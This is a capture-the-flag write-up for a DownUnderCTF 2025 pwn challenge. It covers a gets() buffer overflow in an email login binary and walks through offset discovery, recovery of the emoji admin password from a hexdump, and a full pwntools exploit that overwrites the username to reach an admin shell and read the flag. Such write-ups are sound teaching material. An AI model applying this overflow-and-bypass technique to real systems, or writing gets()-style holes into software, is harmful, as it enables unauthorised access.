DownUnderCTF 2025: Corporate clichรฉ
Recon
An executable file is given. Letโs do some recon first:
$ file email_server
email_server: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f8b6376e8e206a299f035e9a5a587abd7ae50b24, for GNU/Linux 3.2.0, not stripped
$ checksec --file=email_server
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 50 Symbols No 0 3 email_server
Another good thing for information gathering here is that we have access to the complete C source code; we do not need to disassemble or decompile anything. Letโs take a look (as always, unimportant parts are stripped):
void open_admin_session() {
printf("-> Admin login successful. Opening shell...\n");
system("/bin/sh");
exit(0);
}
void print_email() {
// A bunch of printf, redacted here. who cares
exit(0);
}
const char* logins[][2] = {
{"admin", "๐ฆ๐ฉ๐ฒ๐ฎ๐ณ"},
{"guest", "guest"},
};
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char password[32];
char username[32];
printf("โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ\n");
printf("โ Secure Email System v1.337 โ\n");
printf("โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ\n\n");
printf("Enter your username: ");
fgets(username, sizeof(username), stdin);
username[strcspn(username, "\n")] = 0;
if (strcmp(username, "admin") == 0) {
printf("-> Admin login is disabled. Access denied.\n");
exit(0);
}
printf("Enter your password: ");
gets(password);
for (int i = 0; i < sizeof(logins) / sizeof(logins[0]); i++) {
if (strcmp(username, logins[i][0]) == 0) {
if (strcmp(password, logins[i][1]) == 0) {
printf("-> Password correct. Access granted.\n");
if (strcmp(username, "admin") == 0) {
open_admin_session();
} else {
print_email();
}
} else {
printf("-> Incorrect password for user '%s'. Access denied.\n", username);
exit(1);
}
}
}
printf("-> Login failed. User '%s' not recognized.\n", username);
exit(1);
}Okay, so apparently we have to trigger the
open_admin_session() function someway. Problem is, we need
to login as admin for this, and the admin login seems to be
disabled.
However, even though the programmer thought about using
fgets() to get secure user input for the username field, we
see that the very very unsafe gets() function is used here
for the password input. This is prone to buffer overflow as we all
know.
What I wanted to first was to exploit a traditional ret2win vulnerability and get the challenge done fast, but things didnโt turn as I had expected. Opening the file in pwndbg, I generated a long enough cyclic pattern (two buffers of 32 bytes so the default 100 bytes length should be good).
When injecting though, no SEGFAULT happened. Weirdโฆ
pwndbg> cyclic
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/qelal/downunderctf/corporate-cliche/email_server
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Secure Email System v1.337 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Enter your username: whatever
Enter your password: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
-> Login failed. User 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' not recognized.
[Inferior 1 (process 7635) exited with code 01]
No SEGFAULT, but it seems that after some padding, we still overflow into the username field (from the password buffer). Interestingโฆ
Just to be sure, weโll calculate the offset. I donโt want to count by hand, so:
pwndbg> cyclic -n 4 -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32
As expected, itโs 32 bytes long. Wait, so if we can overflow the username, we could probably bypass the check for admin login! Also, we are given a โloginsโ array that contain usernames and passwords, especially the admin one.
However the admin password isnโt easily readable; it does not render in the terminal so it is probably some combination of Unicode codepoints, representing stuff like emojis. We can get the raw bytes of it by inspecting the executable in an hex editor:
00002440 00 61 64 6D 69 6E 00 F0 9F 87 A6 F0 9F 87 A9 F0 9F 87 B2 F0 9F 87 AE F0 9F 87 B3 00 67 75 65 73 .admin......................gues
00002460 74 00 00 00 00 00 00 00 E2 94 8C E2 94 80 E2 94 80 E2 94 80 E2 94 80 E2 94 80 E2 94 80 E2 94 80 t...............................
We see, after the โadminโ null-terminated array of bytes, some
patterns always starting by F0 9F 87 and finally ending by
a null-byte. This pattern is the UTF-8 encoding
for emojis in Unicode. Thatโs a bingo! We then extract this byte
array and this is what we have as the admin password:
\xF0\x9F\x87\xA6\xF0\x9F\x87\xA9\xF0\x9F\x87\xB2\xF0\x9F\x87\xAE\xF0\x9F\x87\xB3
Exploitation
What we can do now, to exploit our executable, is: - filling the username field with garbage - filling the password field with the admin password, null-terminate it, add some padding, and then inject the โadminโ string after the buffer so it overflows into the username field.
This way, we could probably bypass the login check and enter the system. Iโm going to show the full exploit code, including boilerplate (thanks to CryptoCat for this beautiful piece of code by the way), but I wonโt do it again in other write-ups; here will be the reference for it.
The boilerplate allows us to switch easily from local/remote execution, and it also allows pwntools to automatically figure out byte order, word size, and such things we donโt want to carry around everywhere.
Here it is:
from pwn import *
# Boilerplate code
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './email_server'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
# Auth as whatever user
io.sendlineafter(b':', "guest")
# Send admin password recovered from hexdump + admin (overflowing into username[32])
io.sendlineafter(b':', b'\xF0\x9F\x87\xA6\xF0\x9F\x87\xA9\xF0\x9F\x87\xB2\xF0\x9F\x87\xAE\xF0\x9F\x87\xB3\x00' + 11*b'A' + b'admin')
# Receive the flag
io.interactive()Now, we can run the exploit and get a shell, and then our precious flag:
(MyEnv) โ corporate-cliche python exploit.py REMOTE chal.2025.ductf.net 30000
[+] Opening connection to chal.2025.ductf.net on port 30000: Done
[DEBUG] Received 0x135 bytes:
00000120 45 6e 74 65 72 20 79 6f 75 72 20 75 73 65 72 6e โEnteโr yoโur uโsernโ
00000130 61 6d 65 3a 20 โame:โ โ
00000135
[DEBUG] Sent 0x6 bytes:
b'guest\n'
[DEBUG] Received 0x15 bytes:
b'Enter your password: '
[DEBUG] Sent 0x26 bytes:
00000000 f0 9f 87 a6 f0 9f 87 a9 f0 9f 87 b2 f0 9f 87 ae โยทยทยทยทโยทยทยทยทโยทยทยทยทโยทยทยทยทโ
00000010 f0 9f 87 b3 00 41 41 41 41 41 41 41 41 41 41 41 โยทยทยทยทโยทAAAโAAAAโAAAAโ
00000020 61 64 6d 69 6e 0a โadmiโnยทโ
00000026
[*] Switching to interactive mode
[DEBUG] Received 0x51 bytes:
b'-> Password correct. Access granted.\n'
b'-> Admin login successful. Opening shell...\n'
-> Password correct. Access granted.
-> Admin login successful. Opening shell...
$ ls
[DEBUG] Received 0x16 bytes:
b'flag.txt\n'
b'get-flag\n'
b'pwn\n'
$ cat flag.txt
[DEBUG] Received 0x41 bytes:
b'DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}\n'
Nice! I really liked this one because the exploit wasnโt what I expected at first. Really cool.